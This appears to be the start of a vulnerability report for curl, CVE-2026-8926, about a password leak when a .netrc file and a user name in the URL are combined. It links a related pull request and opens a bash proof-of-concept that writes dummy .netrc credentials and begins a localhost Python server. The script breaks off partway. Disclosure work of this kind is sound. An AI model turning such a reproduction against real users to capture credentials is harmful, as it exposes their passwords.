CVE-2026-8926: password leak with netrc and user in URL

Hey all, Before the following report, I just want to point to a comment from our scanner, where it seems it was already picked up but it was dismissed and the PR was closed later by another commit - https://github.com/curl/curl/pull/20932#issuecomment-4072903895

#!/usr/bin/env bash
set -euo pipefail

tmp="$(mktemp -d)"
port=18080

mkdir -p "$tmp/home"

cat >"$tmp/home/.netrc" <<'EOF'
machine 127.0.0.1 login alice password secret
EOF
chmod 0600 "$tmp/home/.netrc"

cat >"$tmp/server.py" <<'PY'
import base64
import http.server
import socketserver

class …